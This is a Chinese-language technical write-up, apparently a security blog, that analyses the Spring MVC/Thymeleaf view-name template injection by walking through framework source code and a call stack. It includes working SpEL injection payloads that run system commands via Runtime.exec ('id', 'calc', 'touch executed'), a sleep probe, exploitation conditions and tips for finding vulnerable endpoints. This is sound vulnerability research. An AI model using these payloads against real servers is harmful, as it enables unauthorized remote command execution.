	// 根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名
    public Object invokeForRequest(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
        Object[] args = this.getMethodArgumentValues(request, mavContainer, providedArgs);
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Arguments: " + Arrays.toString(args));
        }

        return this.doInvoke(args);
    }

    protected Object doInvoke(Object... args) throws Exception {
        ReflectionUtils.makeAccessible(this.getBridgedMethod());

        try {
            return this.getBridgedMethod().invoke(this.getBean(), args);
        }
		...
	}

到这个地方会反射调用路由中类中的方法, 并将参数进行传递

image

执行handle​完成后, 得到的还是一个字符串, 再去看下如何通过字符串找到视图的, 调用this.returnValueHandlers.handleReturnValue​方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
        HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
        if (handler == null) {
            throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
        } else {
            handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
        }
    }

    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
        if (returnValue instanceof CharSequence) {
            String viewName = returnValue.toString();
            mavContainer.setViewName(viewName);
			// 如果redirect:开头, 设置重定向的属性
            if (this.isRedirectViewName(viewName)) {
                mavContainer.setRedirectModelScenario(true);
            }
        } else if (returnValue != null) {
            throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
        }

    }

回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod​, 进入result = this.getModelAndView(mavContainer, modelFactory, webRequest);​获取ModelAndView​对象

image

最后回到DispatcherServlet#doDispatch​方法, 得到模型和视图

执行interceptors#postHandle

mappedHandler.applyPostHandle(processedRequest, response, mv);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
	void applyPostHandle(HttpServletRequest request, HttpServletResponse response, @Nullable ModelAndView mv) throws Exception {
        HandlerInterceptor[] interceptors = this.getInterceptors();
        if (!ObjectUtils.isEmpty(interceptors)) {
            for(int i = interceptors.length - 1; i >= 0; --i) {
                HandlerInterceptor interceptor = interceptors[i];
                interceptor.postHandle(request, response, this.handler, mv);
            }
        }

    }

遍历执行拦截器 postHandle, 与pre一致

执行模板渲染

this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    private void processDispatchResult(HttpServletRequest request, HttpServletResponse response, @Nullable HandlerExecutionChain mappedHandler, @Nullable ModelAndView mv, @Nullable Exception exception) throws Exception {
        boolean errorView = false;
        if (exception != null) {
            if (exception instanceof ModelAndViewDefiningException) {
                this.logger.debug("ModelAndViewDefiningException encountered", exception);
                mv = ((ModelAndViewDefiningException)exception).getModelAndView();
            } else {
                Object handler = mappedHandler != null ? mappedHandler.getHandler() : null;
                mv = this.processHandlerException(request, response, handler, exception);
                errorView = mv != null;
            }
        }

        if (mv != null && !mv.wasCleared()) {
            this.render(mv, request, response);
            //...
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
	protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
		// 设置区域信息
        Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
        response.setLocale(locale);

		// 获取视图名称
        String viewName = mv.getViewName();
        View view;
		// 如果 ModelAndView (mv) 包含视图名称, 则通过 resolveViewName 方法解析为 View 对象
        if (viewName != null) {
			// 获取视图对象
            view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
            if (view == null) {
                throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
            }
        }
		// ...

		// 渲染视图
        try {
            if (mv.getStatus() != null) {
                response.setStatus(mv.getStatus().value());
            }

			// 调用 view.render 方法,将模型数据渲染到视图中
            view.render(mv.getModelInternal(), request, response);
		// ...
    }

调用view.render(mv.getModelInternal(), request, response);

ThymeleafView#renderFragment

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
	protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
        // 获取 templateName(模板名称)、templateEngine(模板引擎)等必要属性
		ServletContext servletContext = this.getServletContext();
        String viewTemplateName = this.getTemplateName();
        ISpringTemplateEngine viewTemplateEngine = this.getTemplateEngine();
        if (viewTemplateName == null) {
            throw new IllegalArgumentException("Property 'templateName' is required");
        } else if (this.getLocale() == null) {
            throw new IllegalArgumentException("Property 'locale' is required");
        } else if (viewTemplateEngine == null) {
            throw new IllegalArgumentException("Property 'templateEngine' is required");
        } else {
			// 创建 mergedModel,将以下内容合并到模型中:静态变量(getStaticVariables)、路径变量(从 request 中获取)、传入的 model 数据
            Map<String, Object> mergedModel = new HashMap(30);
            Map<String, Object> templateStaticVariables = this.getStaticVariables();
            if (templateStaticVariables != null) {
                mergedModel.putAll(templateStaticVariables);
            }

            if (pathVariablesSelector != null) {
                Map<String, Object> pathVars = (Map)request.getAttribute(pathVariablesSelector);
                if (pathVars != null) {
                    mergedModel.putAll(pathVars);
                }
            }

            if (model != null) {
                mergedModel.putAll(model);
            }

			// 上下文对象的创建
            ApplicationContext applicationContext = this.getApplicationContext();
            RequestContext requestContext = new RequestContext(request, response, this.getServletContext(), mergedModel);
            SpringWebMvcThymeleafRequestContext thymeleafRequestContext = new SpringWebMvcThymeleafRequestContext(requestContext, request);
            addRequestContextAsVariable(mergedModel, "springRequestContext", requestContext);
            addRequestContextAsVariable(mergedModel, "springMacroRequestContext", requestContext);
            mergedModel.put("thymeleafRequestContext", thymeleafRequestContext);
            ConversionService conversionService = (ConversionService)request.getAttribute(ConversionService.class.getName());
			// 用于支持 Spring 的转换服务
            ThymeleafEvaluationContext evaluationContext = new ThymeleafEvaluationContext(applicationContext, conversionService);
            mergedModel.put("thymeleaf::EvaluationContext", evaluationContext);
            IEngineConfiguration configuration = viewTemplateEngine.getConfiguration();
			// 这是 Thymeleaf 渲染模板时的上下文
            WebExpressionContext context = new WebExpressionContext(configuration, request, response, servletContext, this.getLocale(), mergedModel);
			

            String templateName;
            Set<String> markupSelectors;
            if (!viewTemplateName.contains("::")) {
                templateName = viewTemplateName;
                markupSelectors = null;
            } else {
				// 如果模板名称包含 ::,则解析为模板片段(FragmentExpression)
                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
				// ...

renderFragment​中存在一个判断, 如果viewTemplateName​中包含::就会进到else逻辑, 就可以解析表达式fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");​, 可以看到, 解析的是SPEL表达式, 也就是上面Thymeleaf说的片段表达式

image

org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(IExpressionContext context, String input, boolean preprocess)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
		// 从上下文中获取引擎配置
        IEngineConfiguration configuration = context.getConfiguration();
		// 如果 preprocess 为 true,调用 StandardExpressionPreprocessor.preprocess 方法对输入进行预处理;否则直接使用原始输入
        String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
		// 从缓存中尝试获取解析后的表达式。如果缓存中存在,直接返回。
        IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
        if (cachedExpression != null) {
            return cachedExpression;
        } else {
			// 解析表达式字符串
            Expression expression = Expression.parse(preprocessedInput.trim());
			// ...
    }

查看StandardExpressionPreprocessor.preprocess​, 这里对输入进行了预处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
final class StandardExpressionPreprocessor {
    private static final char PREPROCESS_DELIMITER = '_';
    private static final String PREPROCESS_EVAL = "\\_\\_(.*?)\\_\\_";
    private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);

    static String preprocess(IExpressionContext context, String input) {
		// 如果 input 中不包含字符 _ ,直接返回原始输入字符串,表示无需处理(就是对应语法的预处理)
        if (input.indexOf(95) == -1) {
            return input;
        } else {
			// 获取表达式解析器
            IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
			// 检测解析器类型
            if (!(expressionParser instanceof StandardExpressionParser)) {
                return input;
            } else {
				// 匹配input内容, 提取__ __之间的内容
                Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
                if (!matcher.find()) {
					// 对输入字符串进行转义检查后返回
                    return checkPreprocessingMarkUnescaping(input);
                } else {
					// 如果找到就使用 StringBuilder 构建结果字符串
                    StringBuilder strBuilder = new StringBuilder(input.length() + 24);
                    int curr = 0;

                    do {
						// 提取匹配项前的文本并进行转义检查
                        String previousText = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
						// 提取匹配的表达式内容并进行转义检查
                        String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
                        strBuilder.append(previousText);
						// 再次调用parseExpression解析表达式, 只是这次不用再预处理了
                        IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
                        if (expression == null) {
                            return null;
                        }

						// 执行解析后的表达式,获取结果,并将结果追加到 StringBuilder 中。
                        Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
                        strBuilder.append(result);
                        curr = matcher.end(0);
                    } while(matcher.find());

                    String remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
                    strBuilder.append(remaining);
                    return strBuilder.toString().trim();
                }
            }
        }
    }

StandardExpressionParser.parseExpression(context, expressionText, false);​对__ __中的字符又进行了解析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    // 解析输入字符串并返回一个 Expression 对象
	static Expression parse(String input) {
        Validate.notNull(input, "Input cannot be null");
		// 对输入字符串进行分解,返回一个 ExpressionParsingState 对象,表示分解后的状态。
        ExpressionParsingState decomposition = ExpressionParsingUtil.decompose(input);
        if (decomposition == null) {
            return null;
        } else {
			// 将分解状态重新组合成一个新的 ExpressionParsingState 对象。
            ExpressionParsingState result = ExpressionParsingUtil.compose(decomposition);
			// 检查组合结果是否不为 null,并且是否在索引 0 处存在表达式
            return result != null && result.hasExpressionAt(0) ? ((ExpressionParsingNode)result.get(0)).getExpression() : null;
        }
    }

返回表达式后, 通过expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);​执行表达式

调用execute->SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);->VariableExpression.executeVariableExpression(context, (VariableExpression)expression, expressionEvaluator, expContext);->SPELVariableExpressionEvaluator.evaluate(IExpressionContext context, IStandardVariableExpression expression, StandardExpressionExecutionContext expContext)

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
exec:315, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:842, Thread (java.lang)

解析流程小结

主要还是上面5个步骤, 入口点都是在org.springframework.web.servlet.DispatcherServlet#doDispatch​方法中, 负责处理 HTTP 请求并将其分发到适当的处理器.

  1. mappedHandler = this.getHandler(processedRequest);: 根据当前请求, 从 HandlerMapping​(用于将请求 URL 映射到具体的处理器) 中找到对应的处理器(HandlerExecutionChain)。
  2. HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());: 获取与处理器匹配的 HandlerAdapter, 用于将不同类型的处理器(如控制器方法、注解控制器等)统一处理.
  3. mv = ha.handle(processedRequest, response, mappedHandler.getHandler());: 调用 HandlerAdapter 的 handle 方法, 执行处理器逻辑, 并返回一个 ModelAndView 对象。也就是Controller中的return值.
  4. this.applyDefaultViewName(processedRequest, mv);: 对当前ModelAndView做判断, 如果为null则进入defalutViewName部分处理, 将URI path​作为mv的值
  5. this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);: 处理视图并解析执行表达式以及抛出异常回显部分处理

所以导致这个漏洞的原因就是把用户可控值(参数/URI)当作viewName, 经过Spring MVC解析流程之后, 在渲染时使用ThymeleafView​, 把构造的预处理片段进行SPEL解析导致的漏洞.

  1. 代码中添加__​就是为了进入其片段表达式处理分支;

    image

  2. 添加::​就是为了预处理执行完命令返回到片段表达式再次解析~{templateName::fragmentSelector}~​时不会因为找不到fragmentSelector​而不能回显;

  3. 添加.xxxx​的目的是因为在Controller不返回视图的时候, 解析器会从URI中获取默认的视图, 但是在其解析转换的时候会将.​的后缀进行删除, 但是poc中也有.​所以需要在最后多一个.

    image

poc分析

1
2
3
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.xxxx
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...

POC最后面.x​, 前面的解析流程没看到处理。

利用条件

  1. 不使用@ResponseBody​注解或者RestController​注解

    例如:

    1
    2
    3
    4
    5
    
    @GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
    	return "welcome :: " + section;
    }
    
  2. 模板名称由redirect:​或forward:​开头(不走ThymeleafView​渲染)即无法利用

    例如:

    1
    2
    3
    
    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url;
    
  3. 参数中有HttpServletResponse​, 设置为HttpServletResponse​, Spring认为它已经处理了HTTP Response, 因此不会发生视图名称解析。

    例如:

    1
    2
    3
    4
    
    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
    }
    

redirect和forward无法利用原因

与前面的区别就是获取到model和view的后, 渲染模版的时候, 获取的view类型不一致, 导致后续分支发生变化

image

viewName​获取为redirect​和forward​机返回一个RedirectView​或InternalResourceView​, 这里就不会走ThymeleafView​解析。

无法回显问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
   @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }


    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

可以发现fragment​方法使用回显POC没法回显

这时因为在预处理完之后, 我们的input变为了~{welcome :: uid=501(lnhsec)::.x}​, 我们的结果在::​之后

image

image

然后将其分割为了templateName::fragmentSelector

有回显的:

image

fragment中payload前面有::​, 所以payload在selector位置, 这里会抛异常, 导致没法回显成功。

而在templatename​位置不会

Path URI

1
2
3
4
5
6
//GET	/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}

这时返回值为空, 并没有返回视图名, 这就对应上面说过的doDispatch中的this.applyDefaultViewName(processedRequest, mv);​(分配默认视图), 此时的视图名会从 URI 中获取, 实现的代码在org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName​中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 	public String getViewName(HttpServletRequest request) {
        String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
        return this.prefix + this.transformPath(lookupPath) + this.suffix;
    }

    @Nullable
    protected String transformPath(String lookupPath) {
        String path = lookupPath;
        if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
            path = lookupPath.substring(1);
        }

        if (this.stripTrailingSlash && path.endsWith("/")) {
            path = path.substring(0, path.length() - 1);
        }

        if (this.stripExtension) {
            path = StringUtils.stripFilenameExtension(path);
        }

        if (!"/".equals(this.separator)) {
            path = StringUtils.replace(path, "/", this.separator);
        }

        return path;
    }

	public static String stripFilenameExtension(String path) {
	    int extIndex = path.lastIndexOf(46);
	    if (extIndex == -1) {
	        return path;
	    } else {
	        int folderIndex = path.lastIndexOf("/");
	        return folderIndex > extIndex ? path : path.substring(0, extIndex);
	    }
	}

image

stripFilenameExtension方法会把.后面的内容给截断掉。因为poc中也含有, 所以需要在URI末尾添加.

image

后续流程类似

查找漏洞

黑盒:更换主题等页面打payload

切换 主题/背景 的功能区, 将参数改为 payload

白盒

模板参数外部可控

  1. 查看所有的模板文件名称 假设 index.html 开始

  2. 正则搜索控制器return.*?\".*?index​模板名称

    1
    
    return.*?\".*?index
    

image

查看该接口中 welcome 参数, 是不是外部可控, 并且符合利用条件

因为模板文件也不会很多吗, 所以可以这样去白盒审计这个漏洞。

查找含参数@GetMapping路由 无return

先正则@GetMapping\(.*?\)\s*public\s+void

image

poc变形

根据上文可以知道

  1. 如果后端中已有::​, poc则可以不加, ::​的目的就是为了进行判断处理, ::​的前后只是有无回显的区别

  2. 除了Path URI​方式需要在最后添加.xxx​, 其他时候可以不用添加

1
2
3
4
5
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::

::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__

参考

https://developer.aliyun.com/article/769977

https://xz.aliyun.com/news/9962#toc-5

https://www.cnblogs.com/nice0e3/p/16212784.html#path-uri

https://www.freebuf.com/articles/web/346228.html

https://www.anquanke.com/post/id/254519#h3-9

https://github.com/veracode-research/spring-view-manipulation/

https://xz.aliyun.com/news/9281#toc-1